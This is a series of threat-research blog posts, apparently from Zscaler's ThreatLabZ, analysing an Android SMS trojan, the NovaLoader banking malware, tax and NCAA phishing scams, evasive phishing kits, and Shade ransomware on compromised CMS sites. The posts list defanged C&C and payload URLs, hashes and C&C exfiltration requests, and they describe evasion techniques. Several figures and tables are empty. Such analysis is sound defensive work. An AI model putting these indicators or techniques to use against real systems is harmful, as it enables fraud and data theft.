Among the findings, the report revealed that 43 percent of data breaches occurred at small businesses, which tend to have less stringent security than larger organizations, making them an easier target. The most common tactic used in breaches was hacking (52 percent of the time), while errors (21 percent) and misuse by authorized users (15 percent) also led to breaches. And, as can be expected, financial gain was the most common motivation (71 percent).

These results, and the others detailed in the report, are based on data collected from a variety of sources, including publicly disclosed security incidents, cases provided by the Verizon Threat Research Advisory Center (VTRAC) investigators, and external collaborators, such as ThreatLabZ. The year-to-year data includes new sources of incident and breach data as more organizations share information to improve the diversity and coverage of real-world events.

The number of organizations providing data continues to grow, with 66 organizations external to Verizon now contributing to this report. This community of data contributors represents an international group of public and private entities that understand the importance of sharing information to gain a better understanding of the threats we all face on a daily basis.

This is the second consecutive year that Zscaler has provided transaction data for the report. The ThreatLabZ team examined transactions processed in the Zscaler cloud during 2018, specifically looking for attempted phishing attacks and blocked malware. We also offered insights into each threat category with supporting telemetry information indicating the number of users affected by these security incidents and data breaches.

It is heartening to see so many organizations coming together to share information in an ongoing effort to secure the internet and this digital world in which we all participate. Unfortunately, cybercriminals will continue developing new threats and attack methods, as long as there’s a potential payoff. And, since there is no sign of attackers stopping any time soon, it is up to all of us working in the cloud and cybersecurity industries to work together to make their job a lot more difficult.

I think Gloria Macapagal Arroyo, the 14th President of the Philippines, said it very well: “The power of one, if fearless and focused, is formidable, but the power of many working together is better.”

Download the entire Verizon 2019 Data Breach Investigations Report.

Read more from the ThreatLabZ team.

Read about Zscaler cloud security here.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Deepen Desai is vice president of security research at Zscaler 

Wed, 05/08/2019 - 11:20 Blogs
From third-party Android store to SMS Trojan

In lieu of downloading and installing apps from the official Android app store, users often turn to third-party stores. The reasons vary, from wanting a particular app that isn’t available on the official store to seeking cracked apps—versions that have been modified to disable certain features, such as copyright protections—of official Android apps. Recently, the ThreatLabZ research team came across one of these third-party app stores that seemed to be hosting Android games. The store, called “Smart Content Store,” portrays itself as an Android app store and uses names such as sexy.smartcontentstore[.]com and games.smartcontentstore[.]com.    

Fig 1: Third-party app store homepage


At first glance, the site appears to be an app store hosting Android games, but we were unable to download any apps. Clicking the Install option on any of the games, as seen in screenshot above, leads back to the same page.  

Upon further examination, we found many direct links to APKs being downloaded from these domains. The image below shows the direct downloads of these APKs.


Fig 2: Zscaler dashboard


These apps have different package names and certificates, but every app exhibits the same functionality. We have provided an analysis of one of the apps below. (A complete list of apps can be found in the IOC at the end of blog.)


App summary

APK Name: smartworld_-_WIN_-_500929091890143_-_.apk Package name: vaya.bailecito.epore.saturda Size: 2100203 bytes MD5: 091E91A9ED7202CD44DC5E1C4B3DCC90

Technical details

As soon as the app is installed, it appears as a blank space. As shown in the screenshot below, the app icon and app name are missing. Upon clicking the space (the invisible icon) the app displays its first activity with two options: Smart World and Sexy World.  


Fig 3: Invisible app icon and the first activity


During the initial phase, the app sends several requests to hxxp://play4funclub[.]com/public/notification/is-active, but during our analysis, we just received 301-Moved Permanently in response. These requests can be seen in the screenshot below. 


Fig 4: Initial requests 


Upon clicking either of the two options shown above, Smart World or Sexy World, the app asks for Administrator privileges, stating "To view all the porn videos you need to update. Click to activate.” This message can be seen in the screenshot below (left image).


Fig 5: Admin privileges


As soon as the victim activates admin rights, a request is sent to another domain. Nothing happened as a result of this request, so we believe that it is simply an indication to the attacker whether the victim has activated admin rights or not. 


Fig 6: Request upon enabling admin rights


After a certain amount of time passes, the app starts sending requests to hxxp://[.]com/scripts/app_sms_request_get_number.php with details about the victim's device and location. It sends the following information in its POST request:

  • Android version
  • Installation date
  • Version
  • Date (Date of request) 
  • Country code
  • Carrier 
  • Device ID

The screenshot below shows the request and response taking place between the compromised device and attacker:


Fig 7: Request and response related to the SMS message


The app acts according to the response received from the attacker’s domain. If the response contains "status":"OK", the app fetches the desired details from the response. In our case, it was a phone number and message body. Further, it sends an SMS message to that specific number and message body. This functionality is visible in the screenshot below where the response from the attacker is contained in paramJSONObject and is based on the response, sendTextMessage; this response initiates a routine that sends actual SMS messages.


Fig 8: Sending SMS functionality


During this phase of analysis, we observed several attempts to send SMS messages to different phone numbers with different text as the message body. This can result in high costs to the victim.

Some examples of the SMS messages can be seen in the table below:

Phone # Message Body
6768482371 message:france athletes employed
6857215675 message:experience iran yarn combines field
6768482371 message:luther exercise queens
2347003300131 message:hungary contributing task bird
6857215675 message:boolean wisconsin criticism verification republic
2347003300131 message:exchange audience nc medicaid
2347003300131 message:ut controlled salt customized consider
6768482371 message:legislative wayne brand hungarian
6768482371 message:consulting gui contrary eclipse
79697530171 message:boards tits difficulties
6768482371 message:royalty relay mv
6768482371 message:boards sie gabriel computer
6768482371 message:mods html chronic
6768482371 message:integer coleman monsters
6745596671 message:capabilities labels addiction
6768482371 message:checking upskirt football possibilities
6745596671 message:academics actively matrix ga
2347003300131 message:incidence quality mrs estimated default
6745590060 message:estate mexican legal flour
6768482371 message:cleared connectivity divx
2347003300131 message:cafe activists our constantly
6745596671 message:brush accepted role
6745596671 message:plain weed senators reform framing
6745596671 message:represents fig answers signup
6745596671 message:animation failure lucas browser poetry
2347003300131 message:biodiversity present solving herbal regulations
6857215675 message:shakira wanna movie freight
6768482371 message:shipping uzbekistan senators optimize basically
6857215675 message:folks tamil cooper
6857215675 message:picking maine shapes men wives


This app also has permission to view the victim’s contact list, which means the app can easily spread itself using those contacts. We also found other high-level permissions and we are analyzing the sample further to determine their functions and potential impact. We will update this report with any interesting findings.



The Zscaler Cloud Sandbox successfully flagged the sample as malicious based on indicators found in the sample, as shown in the report screenshot below.  

Fig 9: Zscaler Cloud Sandbox


Zscaler advises Android users to download apps only from official app stores. Using third-party stores may lead to the installation of apps that have hidden, malicious intentions, as described in this case. We also advise users to keep the Unknown Sources option off at all times on your Android device. Keep this off will prevent any third-party app to directly get installed on the device. 





044b97016fdcd22c8c2211014e65c562 bb5a4cea098a29ac8533c561784908b4
58f237f346d81385eaa2005cd642e28c f50091fbe2fef0c9501f242afb356c96
2cbf13b90b76300f9668c2660b9cbc35 5c68ff95c2278da0fcc13b4c46f7978b
091e91a9ed7202cd44dc5e1c4b3dcc90 88c2ccec249ff6df0fd525e09e700861
8ac5e78f4bc7212fcadd805c924ba67c eaa2f149f33e35906095857064721044
60772ad9808a5bab595f3459e8d5bb4c 9f4ff0d5425f1542fe4aef50cb1b20dd
64d5bba5e3a18f971ee5904ccc9b7826 20614d2d2471b2a7fcfbbf67f0fdbfb6
6f31a49153b6b504ce8804c91113852f d717c2c4ebce47d40aea491e911b1c5d
3124ae1a165d2fd1f5ab4e6b83a1100a 4f3289108728c33866e62e99a1fed40d
1a027810c28fad34c7590ddb18dc6a51 4fd81f83d8cb40f6fb0bd1ad94b8ea7f
32131606ac4448683dad9148e4754f81 afe96ae477648b152e7434ac5c0790c6
793fc48a4947a3c19efc570ba8af1235 62ff00af19ad0ed02ab65f3d8a6ceb27
61d9506df0a016435297829bb386e4b8 61ded4d4c3268c354a794dc4c6dea530
81685083658d7e839e68489391f15a05 2bcc9865edb66883b82f43c34e6ac19d
a8a75b3055a9aa27a26d326061173287 8dbbcdfa3d4d1207e325890680f98d4a
58271be93858eb5baeaa401fe1d583bb a350e8b88d586e26e9dc858c83407ebc
a5219ee0c3c10ca8db991d05fe34b9b0 ca17d9260a247e6457876a2f98e3fab7
064a46635c0bda86bcc42ae484ee5c25 874e3af735b6e17ddd596c29e2fc55d5
cfe0d20dbf674f8619584c850eda2186 0cadfdf04df0f3dba0e8a0fdb087993b
dada3ef23b89c9e0f535aa7dd49360e1 b34d3dbd6241f63670e010f7da05630b
43a70f5f1929e882894a023a67ffe23f 00b9c19f229892ad6f0c45f75a5bf729
154ee512e7142f56118209ec9375433d 4cd7745e9f0043ed3da046f88249b221
Wed, 05/01/2019 - 08:55 Abuse Blogs
NovaLoader, yet another Brazilian banking malware family

As part of our daily threat tracking activity, ThreatLabZ researchers recently came across an interesting Brazilian banking malware campaign. The malware, NovaLoader, was written in Delphi and made extensive use of Visual Basic Script (VBS) scripting language. Although the final payload was not entirely new and has been discussed by other security researchers, we found that the multi-stage payload delivery was unique.


Delivery method

In earlier documented campaigns, the delivery methods for this malware included spam, social engineering, and fake sites for popular software such as Java. The malware operators use a variety of available options to ensure malware delivery and try to avoid detection by security products. They often do so by abusing popular legitimate services like Dropbox, GitHub,  Pastebin, AWS, GitLab, and others, as well as URL shorteners and dynamic DNS services such as No-IP and DynDNS.

NovaLoader is known to use AutoIt, PowerShell, and batch scripts in the infection chain, but this is the first time we have seen it use VBS. In this campaign, it is also using encrypted scripts instead of simply obfuscated ones.

Activity Flowchart

Fig.1: NovaLoader Infection flow


Main Dropper

MD5: 4ef89349a52f9fcf9a139736e236217e

The main dropper is very simple; its only purpose is to decrypt the embedded VB script and run the decrypted script.


Stage 1 VB script decryption loop

Fig. 2: Stage 1 VB script decryption loop


Stage 1 Script

Embedded script before and after decryption:

VB script before and after decryption

Fig. 3: VB script before and after decryption

This VBS file will decrypt a URL (dwosgraumellsa[.]club/cabaco2.txt) to download another encrypted script and run that after decryption.

Download request for  next stage encrypted payloadD

Fig. 4: Download request for the next stage, an encrypted payload


Stage 2 Script

Downloaded VB script looks like the following after decryption:

VBS after decryption

Fig. 5: VBS after decryption

The VB script will send a GET request to “http://54.95.36[.]242/contaw.php” , possibly to let the command-and-control (C&C) server know that it is running on the system. After that it will try to detect presence of virtual environment using Windows Management Instrumentation (WMI) queries, as shown below.

VM detection code

Fig. 6: VM detection code

NovaLoader will drop and copy following executable files into the directory C:\\Users\\Public\\:

C:\\Windows\\(system32|SysWOW64)\\rundll32.exe C:\\Windows\\(system32|SysWOW64)\\Magnification.dll

CnC notification request

Fig. 7: C&C notification request

After that it will download a following files from 32atendimentodwosgraumell[.]club

32atendimentodwosgraumell[.]club/mi5a.php decrypted and saved at C:\Users\Public\{random} 32atendimentodwosgraumell[.]club/ saved at C:\Users\Public\{random} 32atendimentodwosgraumell[.]club/ saved at C:\Users\Public\{random}

Then it will send multiple GET requests to “{1-7}[.]php”

Fig. 8: Multiple C&C requests

GET /contaw.php GET /contaw2.php?w={redacted}BIT-PC_Microsoft%20Windows%207%20Professional%20_True GET /contaw3.php?w={redacted}BIT-PC GET /contaw4.php?w={redacted}BIT-PC GET /contaw5.php?w={redacted}BIT-PC GET /contaw6.php?w={redacted}BIT-PC_2/1/2019%205:05:06%20PM GET /contaw7.php?w={redacted}BIT-PC_2/1/2019%205:05:06%20PM_CD=414KbCD1=9160Kb_

It will also drop several files into the C:\Users\Public\ directory:

Dropped files





copied rundll32.exe



encypted file containing various values like version, extension etc.



encrypted configuration file



similar to file named "I"



copied magnification.dll



support dll to decrypt main payload



encrypted main payload



Sqlite dll

Fig. 9: Files dropped by script

And, finally, it will execute the decrypted DLL exported function using the copied rundll32.exe file.

Fig. 10: Executing the stage-3 payload

The stage-3 payload is a DLL file that acts as a loader for the final payload. It is run via rundll32.exe and its purpose is to decrypt and load the final payload.


Final payload

The final payload is written in Delphi. It has multiple capabilities including stealing victim's credentials for several Brazilian banks. It monitors the browser window’s title for bank names and if a targeted tab is found, the malware can take control of the system and block the victim from the real bank's page to do its nefarious activities by communicating to its C&C. Its activity is quite similar to the well-known Overlay RAT.

Some of the interesting commands used by the malware include:

Command String



To stabilize socket connection


Sends infected OS details


Checking status of the connection


Close all connections


Sends keystrokes to the active application window


Set mouse position


Set mouse left button down


Set mouse left button up


Set mouse right button up


Set mouse right button down


Share compromised system desktop


Check gets in C&C response to check if data is correct reply with <|okok|>

Fig. 11: NovaLoader C&C commands

There were many interesting strings related to the Brazilian banks found in malware:

Strings in malware

Corresponding bank site






















Fig. 12: Some of the targeted bank strings found in the malware  


The Brazilian actors are among the top contributors of global cybercrime and they are always coming up with new ways to infect their targets using spam, social engineering, and phishing. In this campaign, we have observed them targeting Brazilian financial institutions using malware written in Delphi. The Zscaler ThreatLabZ team is actively tracking and reviewing all malicious payloads to ensure that our customers are protected.




60e5f9fe1b778b4dc928f9d4067b470b 4ef89349a52f9fcf9a139736e236217e 100ff8b5eeed3fba85a1f64db319ff40 99471d4f03fb5ac5a409a79100cd9349 cb2ef5d8a227442d0156de82de526b30 a16273279d6fe8fa12f37c57345d42f7 ac4152492e9a2c4ed1ff359ee7e990d1 fdace867e070df4bf3bdb1ed0dbdb51c 4d5d1dfb84ef69f7c47c68e730ec1fb7 6bf65db5511b06749711235566a6b438 c5a573d622750973d90af054a09ab8dd ef5f2fd7b0262a5aecc32e879890fb40 35803b81efc043691094534662e1351c 34340c9045d665b800fcdb8c265eebec a71e09796fb9f8527afdfdd29c727787 5a9f779b9cb2b091c9c1eff32b1f9754 a7117788259030538601e8020035867e cb9f95cec3debc96ddc1773f6c681d8c a7722ea1ca64fcd7b7ae2d7c86f13013


185[.]141[.]195[.]5/prt1.txt 185[.]141[.]195[.]81/prt3.txt 185[.]141[.]195[.]74/prt1.txt dwosgraumellsa[.]club/cabaco2.txt wn5zweb[.]online/works1.txt 23[.]94[.]243[.]101/vdb1.txt 167[.]114[.]31[.]95/gdo1.txt 167[.]114[.]31[.]93/gdo1.txt

Wed, 04/24/2019 - 09:53 Malware Blogs
2019 tax season phishing scams

Tax time is here again and that means two things: writing big checks to Uncle Sam and, of course, a new season of tax scams brought to you by industrious and persistent malware authors.

Americans feeling the rising panic of ensuring that they are squared up with the federal government before April 15 are searching for help online and downloading the financial statements they need for filing. The bad actors are counting on it and, as you read this, there's a high probability that somewhere in your inbox is a link to a scam attempting to collect sensitive information from you. The IRS has been warning people about some of the tax scams this season using its annual “Dirty Dozen” compilation of phishing and online scams.

Of the following scenarios, which do you think is more likely? Will you be phished by a dodgy-looking IRS website, or will you get phished by a bogus financial website? Here at Zscaler, the ThreatLabZ research team has been monitoring such traffic and we've seen an increase in attempted generic phishing attacks posing as financial institutions. This trend makes sense because tax preparation usually means getting tax documents from several different financial institutions—your bank, your mortgage holder, your retirement and investment accounts, and so on. The following figure depicts financial and tax refund phishing events observed in the Zscaler cloud over the past two months.

Figure 1: Financial (gold) and tax refund (green) phishing events over the past two months

"IRS Login" phishing

Though the majority of phishing sites were for "generic" financial institutions, we did see IRS phishing websites, including the following, which asks the user to enter an email address and then redirects to verify the account and fill in additional information including Social Security Number.

Figure 2: IRS Phishing – Login page


Figure 3: IRS Phishing – Personal and SSN details


Fake “Apply for EIN” scam and Google SEO poisoning

An EIN (Employer Identification Number) is a Federal Tax ID number required by businesses or other entities to file taxes. Required persons/entities can apply for an EIN on the IRS website and can get it immediately at no cost. Scammers have been active out there, attempting to phish unsuspecting users of their information and money by advertising themselves as experts in filing for Tax IDs.

A Google search of “irs tax id” resulted in multiple scamming websites among the top ads.

Figure 4: Google search results for IRS Tax ID showing ads for scamming websites


We noticed a few of these sites, such as irs-tax-id[.]com, gov-irs-ein[.]co, and irs-ein-tax[.]com, using the same phishing template for their homepage, which you can see in the image below.


Figure 5: “Apply for EIN” phishing template used by multiple sites


Figure 6: Phishing page requesting personal information including SSN


Figure 7: Phishing page requesting credit card information  

Here are a few of the domains that are active in luring users to apply for an Employer Identification Number (EIN).

Figure 8: “Apply for EIN” phishing domains


Tax refund phishing campaign – UK

Tax year in the UK has just ended (April 6) and scammers have been preparing to take advantage of users seeking their refunds. One of the phishing domains we have been monitoring, hmrc[.]co[.]uk[.]pendingrefund[.]tk, updated its phishing pages on April 6 to keep up with tax season events. It began with a refund claim form and was changed to a form for "processing" the claim and applying it to the user's credit card.

Phishing campaign observed before April 6:

Page 1: start.php requesting name and address
Page 2: claim_details.php displaying the information entered in start.php and fake amount
Page 3: details.php requesting detailed personal information and credit card details

Figure 9: Phishing pages observed before April 6, 2019


And the current page (Tax-Refund.php) served by the phishing website (starting April 6) can be seen in the below image:

Figure 10: Phishing page observed on April 6, 2019


Malware campaign

The IRS has warned about a “Tax Transcript” email scam used by attackers to distribute malicious documents containing malware. ThreatLabZ has also noticed tax-themed malicious documents delivering Emotet and Nymiam malware, which are well-known Trojans used for stealing data and credentials, among other malicious functions.

The following is the report of a recent Nymiam malware sample observed in the Zscaler Cloud Sandbox and delivered through a malicious URL: djaccounting[.]tax/wp-admin/

Figure 11: Cloud Sandbox Report for Nymiam malware sample: 7B80A64E9A106806EE4F62A16A968661



Every year during tax season, our researchers identify various kinds of phishing campaigns performing tax-related social engineering tactics in an attempt to collect sensitive information from unsuspecting users. You can read about some of the phishing campaigns that we observed during last year’s tax season here. The IRS has also been alerting tax filers about active tax scams and providing guidelines for safely filing taxes.

At ThreatLabZ, we have been actively monitoring the latest tax scam campaigns and providing protection for Zscaler customers.


Fri, 04/12/2019 - 09:36 Phishing Blogs
The evolution of phishing kits

Gone are the days when a phishing page was a single page designed to capture user credentials. Phishing kits have become sophisticated and advanced to evade detection and look more legitimate to the user. In this blog, we will discuss some of the latest evasive and anti-analysis techniques used by these phishing kits.  

Techniques to make phishing pages look more legitimate

1. Verification of payment card number before accepting

Many phishing campaigns related to banking, online shopping, or account upgrades ask victims to provide payment details to complete their online transactions. In such cases, most of the phishing campaigns simply check the length of the card number (debit or credit) provided by the victim and restrict them to 16 digits to prevent random details from being entered. In some cases, attackers go one step further, using online verification services to ensure that the victim enters the correct payment information.

The information about the institution that issued a particular card can be checked with the initial six or eight digits of the card number, which is called an Issuer Identification Number (IIN). Many online services provide APIs to check the IIN of a card. The screenshot below shows one such case.

Fig. 1: Request to check IIN information of the payment card number shown in the source code 

2. Changing the language of phishing content based on victim’s geo-location

Most phishing campaigns are designed in one language based on the probable victims of the attack. Such phishing pages only work in a particular region or country according to the language it is designed in. Like legitimate websites that are often "localized," there are a few phishing campaigns that instead of using one language deliver phishing content based on the geographical location of the victim, determined after the victim’s IP is checked.

Below is one such campaign which first checks the victim’s geo-location; all the main strings in the phishing page are variable with values that depend on geo-location.

Fig. 2: The main heading variable on the phishing page

Fig. 3: Values of the phishing page title, heading, and submit button based on geo-location  

Evasion and anti-analysis techniques

1. One-time access to the phishing page

We have seen instances where phishing pages are accessible only once; upon re-visiting the page, it redirects the user to other websites. Below is one such campaign.

Fig. 4: The victim's IP address is logged after checking if it is the first visit

Fig. 5: File onetime.dat store log of all victims’ IP addresses

Fig. 6: A victim's IP address is checked against the IP address in the file onetime.dat

When a client visits phishing pages, such as the one discussed above, the IP address of the client gets logged in a file on the first visit. Each time a client visits such phishing pages, the client’s IP address gets checked against the list of IPs of clients that previously visited. Based on the results of that check, access to the phishing page is either granted, results in a “Page not found” message, or the client may be redirected to other websites.  

2. Proxy check using online services

Recently, many phishing kits have included a hardcoded list of blacklisted IP addresses, user-agents, and hostnames known to be used by security researchers and security companies. If the client attempts to connect with a blacklisted IP or user-agent, the phishing content will not be served. In some cases, along with the list of hardcoded IP addresses, the client’s IP is checked using some online services to see whether or not it is a proxy.

Fig. 7: Source code using an online service to check the client's IP address for a proxy


Fig. 8: Phishing page for the above-discussed campaign  

3. Creating a new random name directory on each visit

To make it more difficult to detect phishing campaigns, some campaigns create a new random name directory each time and the phishing page is hosted on this random directory. Below is the analysis of one such campaign.

Fig. 9. Random name directory is shown on a phishing page

Fig. 10: Newly created random name directory in a web server

Fig. 11: Source code to generate a random name directory on each visit  

4. Creating a new random name file on each visit

A few phishing kits were found to be creating a new random name file on each visit to make it difficult to identify as a phishing site. Below is the analysis of one such phishing kit.

Fig. 12: Random name file in URL is shown on a phishing page

Fig. 13: Source code to generate a random name file on each visit  

5. Random values for HTML attributes on each visit

To make a phishing page hard to analyze and detect, the page values of HTML attributes are generated randomly upon each visit, as shown in the phishing campaign depicted below. 

Fig. 14: Randomly created values for HTML attributes

Fig. 15: Source code to generate random values for HTML attributes

Fig. 16: Phishing page related to the above-discussed campaign



Phishing attacks have been on the rise for a few years, but we’re seeing changes in attackers’ methodologies. As end-users become more careful about clicking suspicious links or opening unknown attachments, attackers have also upped the ante by evolving the way in which the phishing content is delivered, and they’re leveraging new tactics to make the phishing pages remain undetected for longer periods.

Zscaler ThreatLabZ actively tracks new and evolving phishing campaigns and protects customers from these types of attacks.


Thu, 04/04/2019 - 13:56 Phishing Blogs
2019 NCAA Madness - Phishing and Streaming Scams

Last week, 64 of the best men's college basketball teams (68 if you count the First Four games) began their quest to cut down the nets in Minneapolis on April 8. Since the opening day of the NCAA men's college basketball tournament isn’t a national holiday, most fans were likely at work when the tournament tipped off. But, that shouldn’t stop them from seeing their alma mater try to upset a national powerhouse or watching a No. 12 seed knock off a No. 5 seed. Thankfully, fans can stream the whole tournament through the CBS Sports website.

ZscalerTM ThreatLabZ noticed increased activity on sports and media sites during the games on the Zscaler cloud platform. However, IT managers or productivity hounds need not panic and pull the curtain on this viewing activity. There are very good reasons to consider allowing your diligent and fanatic workers a chance to cheer for their team (or just to earn some side hustle on the office bracket challenge pool). The most important reason being that blocking official streams sends users elsewhere to watch unofficial streams. These unofficial streams can lead to very real security incidents if left unchecked.


Time in GMT

                       Figure 1: Sports streaming media during NCAA Tournament​ for the past 10 days.


Figure 1 shows just a portion of the traffic observed by the Zscaler Cloud that is generated by streaming services during the tournament. A steady flow can be seen as far as transaction count goes, but the highlight is the total volume of bytes, which peaks at 12.35 TB/per hour at one point. There is so much interest in the first round of the NCAA tournament that it is better to just allow streaming from legitimate sites if your internal infrastructure can support the load. Figure 2 shows the top official streaming sites that were visited across the Zscaler cloud in past week for NCAA games. Blocking this activity might lead a portion of the viewership looking for alternative sites with less-respectable online reputations.


                                            Figure 2: Top sites accessed for NCAA Tournament streaming.

To see just how bad it can get out there, the ThreatLabZ team did an analysis of some attacks seen while searching for unofficial NCAA streams. What we found was a series of adware installers, phishing attacks and fraudulent security warnings leading to malicious browser plugins.

Searching for "ncaa live stream free" in Google resulted in multiple phishing links in the top 50 results.

                                             Figure 3: An adware/phishing link in the top 50 Google search results.


Adware/phishing scams

One of the malicious streaming sites that we came across, streamcartel[.]org, is laced with adware on almost each of its pages. When the visitor clicks anywhere on the page or attempts to close the ad, a new tab opens up, prompting the user to install of a fake browser extension.

                               Figure 4: Streamcartel[.]org's NBA schedule page displaying a fake plugin ad.


According to information from Whois, sawlive[.]tv was registered one year ago during the NCAA tournament. It also uses other sporting events for enticing users to visit the site. One of the malicious ads from the site redirects to a Windows fake security warning page.

                               Figure 5: Fake security warning ad/page from Microsoft Windows Firewall.


The goal of this adware site or of any other is to make money by delivering unwanted ads to the user. In addition to that, this site also has a PayPal donation link asking visitors to donate money.

                                 Figure 6: PayPal donation page for (in Dutch).

Behind the scenes

The site is embedded with player/content from sawlive[.]tv, which delivers more adware. These sites serve JavaScript obfuscated using JSF*ck, an encoding mechanism that uses only six characters to express any character. Here, 5,518 characters were sent as part of a response and, when deobfuscated, resulted into only 10 characters (“sawlive[.]tv”).

                                     Figure 7: JavaScript obfuscated using JSF*ck, served by sawlive[.]tv.


This obfuscated JavaScript redirects to a request where the malicious server responds with more obfuscated JavaScript.

                           Figure 8: Another cycle of obfuscated JavaScript served by the malicious site.


Whenever the user attempts to click or close the ad, a new browser tab is opened with a request to http[:]//www[.]adexchangecloud[.]com/jump/next[.]php?r=44011, which prompts the user to install a fake browser plugin or scareware alerts or additional adware. One of the ads redirects to fake “Adobe Flash Player” update as shown below: 

                                                                Figure 8: Fake “Adobe Flash Player” update ad.

The download/installer is flagged as malicious by our Zscaler Cloud Sandbox and also by VirusTotal.

                                        Figure 9: Zscaler Cloud Sandbox report for “Fake Flash Player”.


Typo-squatted domains

As part of every phishing/scam campaign that abuses current trends/keywords, there are typo-squatted domains for terms associated with the NCAA tournament. Here are a few domains that have been registered in the past 10 days:

marchmadnessresults[.]com watchmarchmadnesslive[.]com betmarchmadness[.]fan marchmadness[.]mba marchmadness[.]rocks



The NCAA tournament is a massive draw for users around the nation. Taking a measured approach to how it is handled is critical for all businesses. The examples laid out should highlight the diversity of threats that attempt to exploit the excitement around the NCAA tournament. We encourage readers to exercise caution when doing searches or clicking on links related to streaming the tournament. Zscaler ThreatLabZ continuously monitors online activity worldwide to ensure that Zscaler customers are protected from threats, even if they become tricked into clicking a nefarious link.



adexchangecloud[.]com adexchangemachine[.]com go[.]onclasrv[.]com gsafe[.]getawesome1[.]com inter1ads[.]com onclickmega[.]com sawlive[.]tv tgun[.]tv urldelivery[.]com

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Chris Mannon and Krishna Kona are Sr. Security Researchers at Zscaler.

Fri, 03/29/2019 - 09:20 Phishing Blogs
Abuse of hidden “well-known” directory in HTTPS sites

WordPress and Joomla are among the most popular Content Management Systems (CMSs). They have also become popular for malicious actors, as cybercriminals target sites on these platforms for hacking and injecting malicious content. During the past few weeks, ThreatLabZ researchers have detected several WordPress and Joomla sites that were serving Shade/Troldesh ransomware, backdoors, redirectors, and a variety of phishing pages. The most well-known threats to CMS sites are the result of vulnerabilities introduced by plugins, themes, and extensions.

In this blog, we are focusing on the Shade/Troldesh ransomware and phishing pages that we detected last month from several hundred compromised CMS sites. Shade ransomware has been quite active in the wild and we have been seeing a number of compromised WordPress and Joomla sites being used to spread the ransomware.

The compromised WordPress sites we have seen are using versions 4.8.9 to 5.1.1 and they use SSL certificates issued by Automatic Certificate Management Environment (ACME)-driven certificate authorities, such as Let’s Encrypt, GlobalSign, cPanel, and DigiCert, among others. These compromised WordPress sites may have outdated CMS plugins/themes or server-side software which potentially could also be the reason for the compromise.

Fig 1: Hits of Shade and phishing in detected CMS sites

During the past month, our cloud blocked transactions for compromised WordPress and Joomla due to Shade ransomware payloads (13.6 percent) and phishing pages (27.6 percent), with the remaining blocks due to coinminers, adware, and malicious redirectors.

We have been monitoring the compromised HTTPS sites for a few weeks and have noticed that attackers are favoring a well-known hidden directory present on the HTTPS website for storing and distributing Shade ransomware and phishing pages.

The hidden /.well-known/ directory in a website is a URI prefix for well-known locations defined by IETF and commonly used to demonstrate ownership of a domain. The administrators of HTTPS websites that use ACME to manage SSL certificates place a unique token inside the /.well-known/acme-challenge/ or /.well-known/pki-validation/ directories to show the certificate authority (CA) that they control the domain. The CA will send them specific code for an HTML page that must be located in this particular directory. The CA will then scan for this code to validate the domain. The attackers use these locations to hide malware and phishing pages from the administrators. The tactic is effective because this directory is already present on most HTTPS sites and is hidden, which increases the life of the malicious/phishing content on the compromised site.

The different types of threats that we found under the hidden directory in the past month are shown in the below image.

Fig 2: Threats in hidden directory

Fig 3: Shade ransomware vs. phishing pages in the hidden directory


Case I: Shade/Troldesh ransomware under the hidden directory  

The graph below shows the Shade/Troldesh ransomware under the hidden directory that we detected last month.

Fig 4: Shade/Troldesh ransomware hits over one month

In the case of Shade/Troldesh ransomware, every compromised site has three types of files: HTML, ZIP, and EXE (.jpg), as shown below.

Fig 5: Shade in hidden SSL validation directory

inst.htm and thn.htm are HTML files that redirect to download ZIP files.,, and are ZIP files that contain the JavaScript file. msg.jpg and msges.jpg are EXE files that are the Shade ransomware.

Fig 6: Shade Infection chain

Troldesh is typically spread by malspam with a ZIP attachment or a link to an HTML redirector page, which downloads the ZIP file. The malspam pretends to be an order update coming from a Russian organization. An example of an email that has the link of the HTML redirector is shown below.

Fig: 7 Malspam mail  

Fig 8: Redirector to download ZIP

The ZIP file contains only the JavaScript file with a Russian name. The JavaScript is highly obfuscated and encrypted strings are decrypted at runtime by the below function.

Fig 9: Decryption function

After decryption, the JavaScript has the functionalities shown below. It tries to connect one of the two URLs, downloads the payload in %TEMP%, and executes it.

Fig 10: Simplified JavaScript code

The downloaded payload is the new variant of Shade/Troldesh ransomware, which has been around since 2014. It has two layers of packers: custom and UPX. After unpacking, it saves its configurations in “HKEY_LOCAL_MACHINE\SOFTWARE\System32\Configuration”.

Fig 11: Shade configuration

xcnt = Count of encrypted files xi = ID of infected machine xpk = RSA public key for encryption xVersion = Version of current Shade ransomware

The command-and-control (C&C) server is a4ad4ip2xzclh6fd[.]onion. It drops a TOR client in %TEMP% to connect to its C&C server. For each file, the file content and file name are encrypted with AES-256 in CBC mode with two different keys. After encryption, it changes the filename to BASE64(AES(file_name)).ID_of_infected_machine.crypted000007.

Fig 12: Encrypted files

It drops a copy of itself in %ProgramData%\Windows\csrss.exe and makes a run entry for this copy with the name “BurnAware.” It drops README1.txt to README10.txt on the desktop and changes the wallpaper as shown below.

Fig 13: Shade wallpaper

README.txt has ransom note in both Russian and English languages.

Fig 14: Shade ransom note

Fig 15: Zscaler sandbox report for Shade/Troldesh ransomware


Case II: Phishing pages under the hidden directory

The graph below shows the different types of phishing pages under the hidden directory that we detected last month.

Fig 16: Phishing hits over one month

The phishing pages we have seen up to this point, which are hosted under SSL-validated hidden directories, are related to Office 365, Microsoft, DHL, Dropbox, Bank of America, Yahoo, Gmail, and others.

Fig 17: OneDrive phishing page

Fig 18: Yahoo phishing page

Fig 19: DHL phishing page



